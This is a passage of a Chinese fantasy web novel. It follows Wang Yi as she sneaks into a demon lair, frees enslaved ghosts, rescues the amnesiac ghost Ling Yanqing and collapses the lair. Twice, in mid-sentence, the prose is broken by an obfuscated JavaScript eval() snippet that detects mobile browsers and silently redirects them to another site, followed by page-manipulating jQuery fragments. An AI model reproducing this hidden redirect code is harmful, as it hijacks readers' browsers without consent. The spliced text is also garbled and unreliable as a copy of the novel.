刺猬精怕痒,见妹妹要来闹,一边跑,一边求饶。两人玩得起劲,全然没注意树上的妄一。 精怪姐妹提着篮子,走到一条小溪边就停下了。 水面微波粼粼,她们取出一枚纸包,摊开后,把蓝紫色的粉末洋洋洒洒倒在草木凋零的岸上。不过片刻功夫,竟神奇开出各色鲜花,寂寥的土瞬间鲜活起来。 这是她们妖精独有的香蜜粉,无论春夏秋冬,只要撒在活水边,就算是沙漠也能开出鲜艳的花。 刺猬精催促道:“鹿妹妹快别傻站着了,你忘了今天是什么日子?快摘花吧,大王等着用呢。” 这话打回了鹿精想玩耍的心思,她嘟囔一声道:“我知道大王要成亲,但新姑爷明显都对她无意......” “喂!”刺猬精急急捂住她的嘴,斥责道,“你不要命啦?这话都敢说出口!大王多想讨那人类当压寨夫君,你三言两语传到大王耳朵里,别说你这对鹿角,就是你这身鹿皮,她也得给你扒了!” 鹿精瑟缩一下,小心地扯了扯刺猬精的袖子,说道:“姐姐,你别生气......” 刺猬精戳了戳她脑袋,道:“我没生气,我就希望你凡是说话过过脑子,免得哪天,要我给你收尸。” 鹿精乖巧地点点头,她知道姐姐是为她好。她进洞府的这些时日,全靠姐姐照拂。 二人又聊了几句,这才开始摘花。 妄一听她们叽叽歪歪,随手摘了根枯草叼在嘴里,心情颇佳。 妖精口中的新姑爷是谁?妄一有了大胆的猜想。 起初,她没打算帮薛屠夫一家,没想到偶然的多管闲事,竟让她另有发现。 村庄附近就那么一个妖怪洞穴,她想,凌延卿的魂魄八成就是被他们掳去了。 这对妖精摘了满满两篮子鲜花,妄一跟在后头,即使离了有段距离,也能嗅到浓郁的花香。 大功告成,妖精姐妹没再闲聊,并肩走到某块石碑下,忽然化作一阵青烟不见了。 妄一眸光一凛,飞快跑去查看,妖气四溢的石头上竟刻着名字“留仙寨”,底下则藏着一拳大小的窟窿眼。 妄一讽刺地笑了声,好,待她下去看看仔细,里面究竟住的哪路王八仙。 洞窟幽深不见日光,本以为下去会是昏暗一片,不曾想落地后,灯火弥漫如白昼。东边挂彩绸,西边挂点红烛,一片喜气洋洋。 大王有令,太阳落山后就要和新姑爷拜堂成亲,来往的妖精,无不忙碌于装饰布置。 妄一下来时,衣着特地在石头上摩擦过,沾染些许妖气,故而妖精们没有对她的出现感到诧异。 洞府中央站着一个蜘蛛化形的女人,她叉腰使唤众鬼,看妄一傻愣愣站在那儿,气不打一处来,冲过去怒吼:“大王喜事,咱们本就人手不够,你这还敢在这发呆,仔细你的皮!”她不由分说把鸡毛掸子塞到妄一手里,粗声粗气地吩咐,“手脚勤快点,要惹大王不高兴,你就算有一千个脑袋都赔罪不起!” 妄一低眉顺眼应下,心里一阵窃喜,有鸡毛掸子在手,去洞府的任何地方都有借口。 蛛大姐训完妄一,转头又去骂撞翻花瓶的野猪精。野猪精个头庞大,愣是被这骂得大气不敢出。 “我看你待在这儿迟早要出问题,还是送你去黑牢当几天苦力吧!” “蛛姑娘,千万别!我保证好好干活,不让您操心!黑牢关的都是孤魂野鬼,而我是正经的山猪成精啊......”” 野猪精跪在地上,连连求饶。 “哼,你还知道害怕啊?可你昨天打碎一个碗,今天又撞坏一个瓶。不把你关进去冷静冷静,大王晓得了要怪我办事不力。” 蛛大姐懒得和他废话,不顾哭声凄惨,喊了小妖就把他拖下去。 妄一拿着鸡毛掸子听了个全,她不清楚黑牢是什么地方,但听野猪精说关着孤魂野鬼,或许薛老爹就在那里。 她拿着掸子假惺惺地左右扫动两下,野猪精被架走时,妄一偷偷跟过去。 哭嚎声贯彻走道,押送的小妖实在嫌吵,便将其打晕过去。他们将野猪精拖到走廊尽头,带进暗道。 妄一躲在转角处,待他们离开后, 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这句话,如同平地惊雷,瞬间让黑牢里所有涣散的瞳孔都恢复了神采。下一刻,数双枯瘦的黑手攀附在栅栏上,争先恐后地喊道:“我是!我是薛长汉!” 牢里顿时吵得不可开交,若非有那扇密不透风的铁门压着,恐怕上面的妖精早就被惊动了。 妄一面容肃穆,一抖腰间的伏影锁,撞击于围栏和地面上,嘈杂的人声因此得到控制。 她冷笑道:“想出去可以,但谁要是再嚷嚷,我就拿谁开刀。”其眼神锐利如刀,立刻降服了众鬼,再也不敢吵闹。 “那么我再问一遍,薛长汉是谁?” 没人会和强者作对,这回他们都识相地后退,只剩某个脏臭的老头,脑袋卡在两根围栏中间。 妄一凝视一瞬,老头的神情尤为激动,眼中满是哀求。他从刚才就霸占了这儿,但因自己不甚起眼,没能获得旁人重视。生怕再要错过,他咿咿呀呀一顿乱叫,口中鲜血飞流,黑的,红的,糊了一脸。 “原来你在这儿啊。”妄一颔首道,“是我粗心了,险些没看见。” 薛老爹目光炯炯,眼睛半刻都没离开过她。 在这狭小不透风的黑牢里,妄一的出现不亚于天外曙光。 她问:“那贼头为什么要抓你们?是做口粮吗?” 薛老爹说不了话,一边的男鬼啜泣道:“女侠,我等都是平凡良鬼,皆因一时大意,错过了去阴间的时机,便在山头徘徊。可是数月前,凭空降落个女恶霸,她占山为王,抓我们倒不是为了吃,而是为当苦力使。” 有个凸嘴鬼出来横插一句:“没错没错!这个洞府就是她让我们凿的,一砖一瓦也是靠我们修葺的!” 忆起往日的种种苦楚,众鬼无不落泪。 留仙寨里等级森严,最尊贵的是女恶霸,其次就是侍奉她的精怪,再往下就是这帮倒霉的游魂鬼魅。 女恶霸有自己的道理,急于落巢却不去抓怀池村的村民,说是抓活人的成本比抓鬼高。一不小心弄死,会引来外界的注意。岁数渐长,女恶霸早没有年轻时的野心,看中了一位俊俏郎君,现在只想和他在这儿安居。 辉煌的洞府非一日修建而成,可怜这帮奴隶鬼,他们稍有不从或者懈怠,就会挨监工一顿鞭挞。日班夜班,轮流交替,就是鬼也受不了这高强度的劳作。辉煌建成的背后,都是用他们的血汗换来的。 薛老爹还算走运,他有后代尚在人世,能托梦诉诉苦,但事后被他们发现了,便拔去薛老爹的舌头,让他做个老实鬼。 今夜若不是女恶霸要成亲,嫌他们叮叮当当碍手碍脚,否则这会儿还在寨子里的挖人工湖呢。 “这么说来,这贼头做事惨无人道,不当暴君真是可惜了。”妄一冷笑一声,“我反正无所谓,救一个是救,救一群也是救。我既来了,就没想让这贼窟太平。” “女侠万岁,这破地方我们一真的刻都不想待了!”牢里发出阵阵感叹,一致认为这姑娘是正义之师。 “但我丑话说在前头,救你们只是顺带,我只负责开门,能不能成功出逃,我一概不管。” 她不会铜丝开锁的绝技,在锁头上写了两笔,念了声“炸!” 铜锁爆开,众鬼千恩万谢,有人帮忙开门,他们就已知足,要怎么出去,修建过洞府的,基本都清楚。 几声爆炸过后,锁头全部落地,野鬼们鱼贯而出,重获自由后没急着跑路,而是先给妄一磕头。 然而这时,黑牢的铁门再次打开。 28. 茫茫妖窟如捞针 牢内霎时死寂,唯有地道阶梯处,传来一阵细碎的脚步声 早不来晚不来,偏在这个时候来。 晦暗的光线顺着石阶一寸寸爬升,先漫上那人的裙角,再是一截细腰,最后露出那张脸——妄一见过。 她快步一跃,在对方未看清牢里的局势前,狠准地掐住脖子,引起众人几声惊呼。 来者是在溪边结伴摘花的鹿精,她那灵动的双眼瞪着妄一,手里的照明烛“咕噜噜”滚落在地。 妄一并不怜香惜玉,加大手劲,眼神更是冷酷无情。 她没想这么早开杀戒,谁叫这女妖精赶巧了呢。 “女侠手下留情!”某男鬼看清来人,跪下为其讨饶。 妄一目光犹疑,这送上门来的女妖,白日在地面看似天真烂漫,但因出身贼窟,妄一必不会多加包涵。 薛老爹亦上前,对妄一拱手,既是感谢,又是求她放过。 “女侠,鹿姑娘专程给我们这群可怜鬼送饭,她没做丧尽天良之事,我们能活到现在,也多亏她救济。” 男鬼一经劝说,其他鬼亦点表赞同。 鹿姑娘与其他精怪不同,从不对他们打骂,甚至同情他们。每次送完东西,还会和大伙聊聊话。 妄一半信半疑,她单手掐着鹿精仿佛再使一点力,就能将那截脖子扭断。 鹿精挣脱不得,眼睛都已微微上翻,眼看要晕厥过去,那道束缚的力量终于从脖子上撤开。 “谢......谢谢。”鹿精摸着脖子,劫后余生般喘着粗气。 妄一却不领情,她横在出口,质问众人:“我可以放了她,但又如何保证她不会坏了我的事,将我出卖给那野大王呢?” 适才还能说会道的男鬼,这会儿也哑了声。 “女侠,你......你要放走他们尽管放就是。”鹿精顺过气来,哑着嗓子,“我只是没本事,也没权利,我连自个儿的命都做不了主。” 女恶霸来历高深,座下三十来只妖,但真正忠心她的其实不多。众妖各怀鬼胎,不过是为寻一个庇护,或求修炼的途径。 鹿精来到留仙寨,正是为了能蜕化出一具完整的人形。 妄一凝视良久,见其面容真挚,就没再为难。若之后发现是在诓骗,她杀回来也为时不晚。 黑牢里的鬼魂逃出去前,妄一拦在铁门内,让他们带上一张叶片。 叶片上有金光闪闪的小字,无形中有震慑力,她举了半天,没人敢上去拿。 “此物对你们没有伤害,我将它拿出来,是有事要吩咐你们。” 众鬼互相对视几眼,畏首畏尾。 “.....啧,我记得方才有谁说过,出去后要报答我的?”妄一的眼神缓缓扫过他们,“是不是还没出这道门,所以先不能算数呢?” 果然有几个鬼心虚缩了缩脑袋。 妄一冷哼道:“算我高看了各位,本想心平气和交流,但以现在的境况怕是不能了。你们不帮我没关系,我有本事放你们出去,也有本事抓你们进来。” 她的语气风淡云轻,但这声警告,无疑是一种胁迫。 是利是弊,谁都分得清。众鬼没有选择的余地,只得老实排队拿上叶片,在妄一的眼皮底下,依次离去。 鹿精也准备走,过去领叶子。妄一却将手一提,不让碰。 “你不用参与,我有别的事要交代你。” “什......什么事?” 自然是留仙寨的大好喜事! 妄一讥讽道:“那野大王欲行逼婚之礼,偏巧被我撞见,那定然是要多一些热闹了。” 鹿精含糊道:“大王特别属意新姑爷,说这是招婿。” 那位姑爷是何许人也,鹿精不知情,她来留仙寨的时候,人家就在了。偶然听别的妖精说,姑爷文质彬彬好皮相,是被劫到寨子里的。初来的当晚就要生米煮成熟饭了,可他不肯,还扔出一套老长老臭的道理,像强扭的瓜不甜啊,强摘的花不香啊。实在拖不下去,他松口说起码有点感情了,才好结为夫妻。 大王中意他,既然有可能处出感情,便勉强同意了。 那段时日,大王从不在姑爷面前动怒,还安排好几个长相丑陋的女妖去伺候。本以为感情能有所升华,谁知过去数月,姑爷都没屈服在石榴裙下。 终于大王等得不耐烦了,坦言不管愿不愿意,今晚必须得成了。 “强嫁强娶。”妄一哼声道,“那就有劳你给我走前头带路,我去见见新姑爷吧。” 鹿精的脸突然白了,大王看重新姑爷,整个寨子都心知肚明,胆敢捣乱阻挠,只怕被生吞活剥。 妄一发话:“别傻愣着,你带路就带路,我敢捅这娄子,就不怕接不住。” 如此,鹿精只好从命。 牢房里走得差不多了,只有那只野猪精因众人出笼一番踩踏,而昏得更死了。 妄一和鹿精最后离开,关上铁门,伪装出一切安好的假象。 鹿精唯唯诺诺地走,寨中多数小妖都聚在前头忙碌,就算路上偶遇,他们不认识妄一,也该认识鹿精。 洞府弯弯绕绕太多,她们走到一处拐角便停了。 “您从这儿走,过道上的最后一个房间就是新姑爷的住处。有人看着,我只能送到这儿了。” 妄一明白她胆子小,所以没阻拦她抽身而退,只是分开前,问她现在大约什么时辰了? “大约刚过落日。”鹿精回道。 “哦,那你记着再过半个时辰也离开这里好了。”妄一目光沉沉地看着她,“你想带上其他人也可以,出去后切记不要逗留,也别回头,看准一个方向,一路走。” 鹿精心中纳闷,妄一又道:“你想修炼,下次找个靠谱的大王,留仙寨这位,不会有多大出息。” “......好。”鹿精听出她话里的郑重,行了个不太标准的人类礼节,疾步离开了。 妄一落落大方地前行,明知那道门前会有诸多守卫,但她偏要表现无畏,如在莲烨门一般随便。 可当她真正抵达时,眼神闪过一丝困惑。 鹿精不会骗她,她也没找错地方。可大婚在即,压寨姑爷的房门为何紧闭?连守卫也不知所踪。 她推门而入,房间布置安逸,有几分书香气。 里边蹲守着一个长鼻怪,有人来,他手忙脚乱地挡在跟前,道:“大胆!你是哪个部下的小妖?门都不敲,就敢擅闯?” 妄一瞟他一眼,哟,她以为没人看守,不想是躲在屋里犯困呢。可再垫脚扫视一圈,并未见到姑爷。 “问你话呢,你你你......你乱瞅啥?!”长鼻怪紧张得舌头打结,“走错了,就给我我我我出去!把门给我带上!” 他要来推搡,妄一灵活地闪开了。 她是想走啊,可她是为了那个人来的。若非墙上挂着的大红喜帐,以及桌上的那套大红喜服,妄一都以为这儿是长鼻怪的住所。 “姑爷人呢?堂内准备差不多了,我奉大王之命,来查看情况。” 她说的煞有其事,长鼻怪难掩心虚,厚重的嘴皮子颤动道:“......姑爷在呢,刚才还在呢。” “到底去哪儿了?”妄一斜视过来,明明比长鼻怪挨两个头,却生出三丈高的气势,“老兄,大王那边等着交代呢!” 这句提点让长鼻怪慌张起来,他眼神飘忽,支支吾吾半天,蹦不出一句像样的措辞。 妄一心道不妙,声音提高一度,问:“是不是你们看管不力,把人放跑了?!” 长鼻怪辩驳道:“没没没跑!姑爷他他他他就有点儿闷得慌,爬窗出去透气了!” 妄一真想一巴掌抽过去,这妖怪办事不力,居然连个凡人都看不住! 见她脸色阴沉,长鼻怪弱弱道:“三黑子过去找了,那什么......姐,你别这样瞪我啊。咱们寨子那么大,兴许姑爷溜达累了,自己就回来了。” 妄一脸色依旧不好,在无形的压迫下,长鼻怪一股脑儿把事情说了。 早在妄一来之前,姑爷就不见多时了。如果中途没有送喜服进来,估计要等拜堂才发现人跑了。 他们不敢惊动大王,只得先自己去找。三黑子忙活有一阵工夫了,还没找到去向。 长鼻怪苦苦哀求,恳请妄一再宽限片刻,如果还找不到,他们愿意负荆请罪。 “哼,大王正满心欢喜地期待着,我哪能巴巴上去败兴?就算去说,也得你们几个失职的家伙去说!”妄一佯怒,她巴不得守好这个秘密,避免惊动寨子,“但是你说那三黑子找了许久,还没一丁点消息吗?” 长鼻怪怯怯道:“找了很久是没错,可咱们洞府大,当初开挖的时候就累死了好几个鬼,而且怕被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963697|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现,我们也不能放开手脚地找。东边西边已经探过了,现在就剩南边北边的地儿了,大黑这趟去了南边,再过一刻钟该有消息回报了。” 他缩着脖子,做好挨训担责的准备。 “算了,你们也不是故意的。大家都是妖,相煎何太急。这样吧,我再宽限你们一个时辰,若还找不到,你们自求多福吧。”妄一勉强大度起来。 “谢谢!谢谢!”长鼻怪听她肯放水,顿觉松快不少。 妄一道:“既然有人去南边找了,那么北边还没人过去。我辛苦些,跑一趟,有什么发现再联络吧。” 那人不知去向,她比谁都着急,说完这话,她就冲北面而去。再多耽搁,等所有人知道新郎官没了,妖怪洞该唱大戏了! 莲烨掌门在鬼京抓贼,在人间抓鬼。没了鹿精陪着,半路再碰到精怪,他们有些是自大王建寨以来就跟随左右,见她面生,少不了要多看两眼。 妄一机敏,她审过那么多罪犯,狡辩能力炉火纯青。谎称寨子人手不够,她是临时从外面招进的。 随口而捏的说辞,因语气太过自然,愚笨的妖精没怀疑她别有目的。哪怕遇到聪明点的,闻到她身上的妖气后也放松警惕。 好不容易摆脱了几波盘问,妄一穿过石廊,隔了堵墙,意外听到一阵训斥之音,这是她离留仙寨大王最近的一次。 听话语大抵是在责怪一众妖仆偷奸耍滑,没按她心意办事。 女恶霸在拍了好几声桌子后,才降下怒火,但马上有人又进来通报。 “大王,您先前叫人外出采花,可现在花不够用啊。” “不够就再出去摘,还要我教吗?” “......回大王,我们也是这么想的,可种花的蜜粉在鹿呦呦身上,现在她不见了,我们到处找不到,还有黑牢......” 说话的小妖吐出一个接一个的坏消息,牢中数名奴隶逃散而去,有人看见鹿呦呦曾鬼鬼祟祟地去过,后来还跟一个陌生的女妖精在寨子里同行。 妄一的心猛地一沉,数件坏事叠加,“新姑爷失踪”的消息也会接踵而至。届时洞府骚乱,妄一只求某位多事之人,要么先被她找到,要么自己就再藏深点。 女恶霸已经怒不可遏,命令小妖们暂时放下手头的事,全力抓捕鹿呦呦,此外还派蜘蛛精去把姑爷带到她这儿来。 时间宝贵,妄一裹紧衣服疾走,没和他们正面相逢。有只狼妖却察觉到不对,拿鼻子猛嗅。 “怎么回事?寨子里好像多了股怪味。豹哥,今晚咱们的菜有道‘人肉’吗?” 听闻此言,妄一心道一声糟糕!想必是先前蹭在身上的妖气消散得差不多了,余菀意这具身体的生人气息,终究是瞒不住了。 寨子愈发热闹,一群嗅觉灵敏的妖怪感应到生人来访,纷纷拿起家伙,誓要活捉立功。 妄一避开他们,灵活的步伐穿梭于各个石道中,遇上单个行动的小妖,她撸起袖子大打出手。 余菀意的躯体有太多枷锁,她一边逃,一边打斗,体力消耗得极快。 整个洞府的妖怪都闻讯追来,妄一为了避险,甩开一段路后,躲进一座园子。 此园花木繁多,以女霸王它的爱护程度,非是寻常小妖可以进得,否则也不会让人去外面采花,而不摘这里现成的。然而妄一闯入其间,手欠的薅了把,花卉断离养分,迅速呈枯萎之势。她担心有毒,当即把花的尸体扔了,并在衣服上擦擦手。 难为他们在地底掏这么大片园苑,满园春色为王栽,满树春华为王开,可这些东西都是中看不中用。 继续往里走,中心还有一处尚未完工的人工湖,再后来妄一摸索到一片梨花树群中。 素雅的梨花,开得如云似雪,是一尘不染的洁白。神欲鬼京多喜热烈之色,这种淡雅的场景较为少见。 想必这些梨树是园内唯一真实的东西,妄一看见花瓣保持原状坠落,零落入土后,与人间的梨花没有不同。 妄一随便找了棵树,盘膝休憩。一路躲到这儿,她默默发誓最多再找一刻钟,如果还没找到那位姑爷,就当人家有福星高照,她管自己走吧。 树上的梨花,无风也能落下。一时间,仿佛天地都香了。妄一心烦意乱,伸手去接,但除了飞扬而下的晴雪,落在她跟前的,还有一只从天而降,煞风景的.....鞋?! 29. 留仙寨中觅生天 妄一怒目朝上空望去,只见她所在的这棵树上,有人身着一袭素衣与漫天的梨白融为一景。 他窘迫地坐在树杈上,一只脚光着袜子,另一只脚还套着鞋,光着的那只无措地在半空中荡来荡去,欲言又止。 杀气顿起的妄一,在相视片刻后,咬牙切齿道:“是你!你在上边干什么!” 这个让她四处寻找,哪哪都没找到的新姑爷!他们一个树上,一个树下,万千梨花环绕之间,妄一抬腿对树干狠狠就是一脚。 梨花簌簌,树上的人猝不及防,在一声惊叫过后,仰面翻了下来。 这高度不算太高,摔不死凡人,何况对方还是只鬼魂。 妄一抱臂站在原地,冷眼看着他落地。 那人摔在松软的花瓣堆里,不曾生气,只是有些委屈。 妄一皮笑肉不笑地道:“凌延卿啊凌延卿,你可真叫我好找!”早知人藏在这儿,她还在别处折腾个什么劲? 对方听了这话,脸上没多大反应,只顾低头整理凌乱的衣摆,但整理到一半,他似乎觉得不对,疑惑地抬起头,问:“姑娘是在说我?” 妄一眉毛一挑,莲烨掌门的火眼金睛,从前能凭一张手绘画像,就在整个鬼京城里揪出要犯。眼前之人有玉骨之姿,若不是余菀意朝思暮想的公子,还能是谁? 她冷冷开口:“怎么?这里还有第二个凌延卿不成?” “噢,这么说来,姑娘认识我?”他的面色转为欣喜,目光灼灼盯着人。 “......也不算。”妄一淡淡道,“严格来说,今天是我们的第一次见面。” 听到这话,他脸上的欣喜瞬间褪去,取而代之的是忧愁与烦闷,好似希望落空了。 “你这什么表现?”妄一察觉贴近一步,威吓道,“我就站在这里,你可别给我耍花腔,我千辛万苦找到你,不是来看你装傻充愣的。” “姑娘误会了。”他迷惘地摇摇头,“我非有意欺瞒,而是醒来时就已成了幽魂,生前许多事都不记得了。” 或者说他睁开眼,人就已困留仙寨,是拐是掳?女大王一口咬定捡的,但真相到底如何,没人告诉他。若非今日妄一前来,他甚至不知道自己的名字。 听完一席自述,妄一好似被雷劈了,怔愣住。 她苦心寻找之人,原想从他嘴里问问情况,未曾想竟是一张白纸,不沾染任何颜色。 妄一蹲在地上,折了一根断枝,来来回回地在手里拗。 凌延卿瞥见她脸色阴沉,想开解几句,收到妄一投来怨毒的眼神后,他默默把话咽回去。 虽然这件事可恨可气,但到底改不了什么,妄一深呼吸几下,还是先逃出留仙寨再说吧。 凌延卿显然也明白眼下的处境,他犹豫地伸出手请姑娘起身,他那节袖子大概是刚才被半空的树枝刮开口子,露出里面一道黑色印迹。 “你看着儒雅敦厚,没想到还喜欢刺青。”妄一没搭上他的手,自己从地上站起。 “刺青?”凌延卿低头看了看,不知所云。 满园的花木能庇护他们一时,不能庇护一世。妖怪们在别处搜寻不得,找到这儿来是迟早的事。 妄一问他知道怎么出去吗? “知道。”他躲在此地就是想施调虎离山之计,骗妖怪全军出洞找他,他再偷偷逃离。谁知躲着躲着,妄一就来了。 园外响起一阵动静,显然已经有妖怪往这边赶了。 情况紧迫,妄一迅速抽出随身的伏影锁,转头冲他道:“走吧,你带路,我打人。” 凌延卿眼神犹疑,让姑娘去前面喊打喊杀,实在没有道理。他张了张口,刚想表达意见,就收到妄一飞来的眼刀。 “少磨磨蹭蹭,小心我先打你!”凌延卿被她推搡道。 园子很大,凌延卿对这里的地形很熟悉,只因女大王总喜欢带他至此,本意是是想借着满园美景,跟郎君培养感情。 “其他地方都找过了,还剩这一块没找,冲啊,捉拿外贼!” 小妖们传来的呼喊声,提醒他们该往哪个方向逃。园子并非只有一个出口,凌延卿领着妄一从偏门走了。 时间越久,妄一身上的人味越浓郁,虽有满园花香遮挡,但某些嗅觉灵敏的狼妖还是能分辨出来。 没多久,他们就被妖怪左右包抄,前后夹击的形式下截住了。 众妖的钢叉通通往妄一身上招呼,而对新姑爷,却不敢伤害分毫。 妄一手持锁链,一通狂甩,不让他们近身。尽管没有落于下风,可武力的发挥终究受限于这具凡人□□。若不速战速决,他们谁也逃不出去。 “你找到路没有?”妄一踹开迎面扑过来的野鸡精,已快筋疲力尽。 “快了快了。”凌延卿指向远处,“这条路的尽头就是了!”他回头去看妄一,才知她累得抵在墙壁上,忙问:“你怎么样了?还能再坚持坚持吗?” 妄一冷汗津津,喉咙里一股腥气,在鬼京,莲烨掌门梆梆几拳就能干掉的小妖,此时却是难缠至极。 留仙寨里的动静闹了这么久,那位女恶霸终于亲自现身了。她出现在妖群里,站在四妖扛肩的步辇上,穿得一身血红。 她满脸涂脂抹粉,红的唇、白的脸,在摇曳的鬼火映照下,根本看不清真实模样,只觉得狰狞可怖。 她对众妖放话:捉拿外贼,重重有赏! 妖怪们听了士气鼓舞,举起兵器迈出步子。 妄一毫无退缩之意,甚至还夺下最前面小妖的耙子,瞄准留仙寨大王,奋力一掷。因体力有限,这一掷全凭个人感觉。 耙子借助她的力气,飞过小妖的头顶,收割一众注意。他们全部望向半空,想看它最终会落在何处。 趁他们松懈的空隙,妄一扯过同样在看耙子的凌延卿,朝生路奔去。 留仙寨的出入口像一口井,飞上到地面有一段距离。 那一架耙子没能要了女恶霸的命,她脑袋一缩,只截落了头上的凤冠。 “奇耻大辱!奇耻大辱!”她目眦欲裂地下了步辇,夺过谁的朴刀,狠冲直上,发誓要亲自取了妄一的人头。 其他小妖怕被大王误伤,忙往两边退,给她开出道。 凭妄一此时的状态,已没有余力抵抗,迅速将伏影锁祭出,捆住女恶霸的身躯。 这是缓兵之计,根本拖不了多久。女霸王在看清此物后,却惊恐道:“这锁......这锁......你怎么会有此物?!” 妄一没心思跟她纠缠,仰头望向出口,外面的月亮同样也在看她。 她对凌延卿道:“你既然是鬼,必有飞身的本事。我护你许久,剩下的这段距离,该换你带我上去了。” “.......我吗?”凌延卿尤为惭愧道,“我恐怕要让姑娘失望了,我虽成鬼有月余,但对飘行一事并不熟悉。之前上树,也是脱了外袍爬上去的。” 妄一的表情千变万化,震惊、错愕、失望在她脸上交替。她把他带到这儿,是想危难关头能靠一靠,谁知他除了带路,别的全都不会。 眼看伏影锁将被挣断,凌延卿叹了口气,径直走到墙边,背对着妄一蹲下来。 “是我连累了姑娘。”他声音沉稳,即便蹲在那里也有一股傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963698|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,“你踩着我的肩膀上去吧。” 但妄一并没因此感动,她翻了个白眼,将人从地上抓起来,恐吓道:“你回头看看你未婚妻追杀的模样,我再问你一遍,飞还是不飞?”她迫使他去看某个可怖的场景。 在伏影锁的扼制下,女恶霸面容狰狞,使出浑身解数。 一道轻微的“咔嚓”声传来,链条隐裂,留仙寨大王眼神凶狠,瞪着他们像在说:“你们完了。” 人在极度惊恐时能迸发出超乎寻常的力量,鬼也不例外。 凌延卿双目滚圆,惊叫一声,身上竟有华光涌现。妄一及时拉住他的袖子,下一刻,他身形一跃,加之那道华光似有护持之力,带着妄一跳出了洞口。 外面天光暗淡,二人双双摔在人间的地面。凌延卿率先缓过劲来,迅速从地上爬起,去看妄一的情况。他怕女大王会率妖追来,想拖着妄一找地方躲藏,却被她甩开手。 “时间到了。” 夜静如水的山野里,弯月与漫天云丝而共生。妄一仰着头,命令他站在这里,别往前走。 几乎是话音一落,附近便响起山崩地裂之声。 凌延卿神经紧绷,巨大的声响还在继续,眼前尘埃满天乱飞,大块土地塌陷。 妄一心中无愧,她让黑牢众鬼领走叶片咒语,出去后贴在留仙寨的面四面八方。咒语延时生效,数张同爆让地底的洞府天塌地陷。 他们早一步逃离了,但那些没逃出来就倒霉了。底下的阴暗与不堪,都随着洞府的坍塌,被永远掩埋在了地下。 妄一带着伤,可心中尤为痛快。她像个胜利者大笑着,然后在夜色寂寥中,闭眼打坐,没了动静。 懂的人明白她在自我调息,不懂的还以为她含笑九泉了。 凌延卿急得团团转,几次想伸手摇醒她,妄一猛地睁开眼,抬头凝视上方苍穹。 长风过境,枯叶乱飞。 是阿辞化作四足兽踏风而来。 他选了个潇洒的出场姿势,落地化为半个人形,抱拳道:“大人恕罪,小的救援来迟!” 突然出现的狐狸头,还会学人行礼。凌延卿欲挡跟前,却听妄一笑说:“你比我想象中来得倒是早些。” 尘芳仙君事务繁忙,她料到此行难以无恙,在黑牢时就用丹纹神笔请仙君带话给狐狸,叫他过来一趟。 同时,她也高估了自己。隐瞒险境,孤身奋战,换来的结果是险些将自己交代进去,万幸没出大事。 阿辞过来是为收拾残局,他看了眼如同废墟的地面,走向大人,把怀中大小的药瓶摸出来。左挑右选,拿了个最合适的打开,洒在大人伤口上。 药粉所敷之处,立刻冒起白烟。让江湖人士看见,怕是要误认为化尸水。 妄一咬紧牙关,默默忍受。若非因这身躯不是她的,区区几十小妖怎能伤得了她? 在白烟的催化下,几处皮开肉绽的伤势,以肉眼可见的速度愈合。其中痛苦,只有自身知晓。 凌延卿不知能为她做些什么,出了留仙寨,他就是一介魂躯。山风从无形的身上穿过,他握不住万物,能触碰妄一,只因她不是普通人而已。 见其眉头紧锁,脸色苍白,显然是在强忍着剧痛。担心她会熬不住,他慷慨地露出的手臂,示意她咬上去。 妄一又想翻白眼,但瞥见其手臂上某个图案时,忽然愣住了。 方才一路奔波,凌延卿袖上的口子裂得更大了。完整的刺青暴露在双目下,漆黑如笔墨,蜿蜒如盘蛇。 妄一就势捉住他的手臂,厉声问道:“老实告诉我,你身上怎会有功德咒痕?!” 30. 夜半灵堂语未休 妄一怎么也没想到受天道诅咒之人,来人间一趟,随便就能遇到一个。 可凌延卿满脸迷茫,显然不知这是何物。 阿辞看清那道熟悉的咒痕,亦惊叫:“天天天天呐,这是什么情况?!” 凌延卿把手抽回来,顺带捂住它,道:“这是胎记罢了,就是形状奇怪了些。” 他初醒时看见这条痕迹,也曾有过迷茫,哪怕把皮肤搓红也搓不去,最后只好归咎于此。 “是胎记还是咒痕,我长着一双眼睛难道看不出来?”妄一欲要拽他,“你掩着做什么?拿来,我再好好瞧瞧!” 凌延卿不肯,一味地躲避。他虽失忆,但礼节没有忘记。 他不配合,妄一气不打一处来。阿辞夹在中间,说道:“哎哟大晚上的,你们二位算是杠上了。我收到信就从床上轱辘起来,这会儿还累着呢。来日方长,有什么话回去再谈不行吗?” 山头的寒风不是一般的大,妄一在药物辅助下,伤疤已愈合七七八八。 阿辞俯身化为巨狐,道:“走吧,我可不想陪你们二位吹冷风了。” 妄一想想也是,看了眼凌延卿,叫他一同上去。此次来怀池村,也不算虚行,她铲除留仙寨的毒瘤做了件好事,并且她对凌延卿的咒痕深感兴趣。 按常理,身缠咒痕者阳寿终结时未能还清罪孽,就该灰飞烟灭了才是。妄一有白水娘娘额外准许的百年寿命,而凌延卿都已亡故,咒痕却只在他身上打个章,行动与普通幽魂无异,真是怪哉。 狐狸载着他们在云上疾行而驰,琳琅园里夜半无声,因先前托丫鬟水央睡在屋里,他们落地只好进了偏房暖阁。 妄一满身倦意,换了副身躯后,睡眠竟比在莲烨门大有长进。尤其今天还在妖窟拼命,上下眼皮当即打架。 